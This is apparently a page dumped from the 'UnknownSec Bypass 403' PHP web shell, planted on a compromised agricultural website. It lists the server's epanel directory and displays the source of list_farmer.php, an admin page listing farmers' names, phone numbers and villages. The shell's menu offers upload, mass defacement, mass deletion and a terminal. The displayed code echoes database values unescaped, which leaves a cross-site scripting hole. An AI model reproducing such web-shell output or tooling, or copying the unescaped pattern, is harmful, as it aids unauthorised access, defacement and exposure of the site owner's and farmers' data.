UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
epanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
list_farmer.php
<?php include "top.php";?> <div id="page-wrapper" class="gray-bg dashbard-1"> <div class="content-main"> <!--banner--> <div class="banner"> <table width="100%"> <tr> <td width="50%"><b>Farmer List</b></td> <td width="50%" align="right"><a class="btn btn-default" href="add_farmer.php">Add Farmer</a></td> </tr> </table> </div> <!--//banner--> <!--grid--> <div class="validation-system"> <div class="validation-form table-responsive"> <br> <!----> <?php $sql="SELECT * from v_farmerdetails WHERE creationuserid='{$_SESSION["userid"]}' and isdeleted='{$notdeleted}' ORDER BY farmerid DESC"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { ?> <table class="table" ui-jq="footable" id="statetable"> <thead> <tr> <th data-breakpoints="xs">S.No.</th> <th data-breakpoints="xs">Farmer Name</th> <th data-breakpoints="xs">Mobile No.</th> <th data-breakpoints="xs">Village</th> <th data-breakpoints="xs">Block</th> <th data-breakpoints="xs">District</th> <th data-breakpoints="xs">State</th> <th text-align="right">Equp</th> <th text-align="right">Doc</th> <th text-align="right"></th> <th text-align="right"></th> </tr> </thead> <tbody> <?php $serial=1; while ($row = mysqli_fetch_assoc($result)) { ?> <tr data-expanded="true"> <td><?php echo $serial; ?></td> <td><?php echo $row['farmername']; ?></td> <td><?php echo $row['mobileno1']; ?></td> <td><?php echo $row['villagename']; ?></td> <td><?php echo $row['blockname']; ?></td> <td><?php echo $row['districtname']; ?></td> <td><?php echo $row['statename']; ?></td> <td align="right"><a href='add_farmer_equipments.php?id=<?php echo $row["farmerid"]; ?>'><i class="fa fa-indent icon_9"></i><a/></td> <td align="right"><a href='add_farmer_documents.php?id=<?php echo $row["farmerid"]; ?>'><i class="fa fa-file-text-o icon_9" alt="Upload Documents"></i><a/></td> <td align="right"><a href='add_farmer.php?id=<?php echo $row["farmerid"]; ?>&op=<?php echo "Update"; ?>'><i class="fa fa-pencil-square-o icon_9"></i><a/></td> <td align="right"><a onclick="return confirm('Do you want to delete this record?')" href='add_farmer.php?id=<?php echo $row["farmerid"]; ?>&op=<?php echo "Delete"; ?>'><i class="fa fa-trash icon_9"></i></a></td> </tr> <?php $serial++;}}?> </tbody> </table> <!----> <br> </div> </div> <!--//grid--> <script> $(document).ready(function() { $('#statetable').DataTable(); }); </script> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec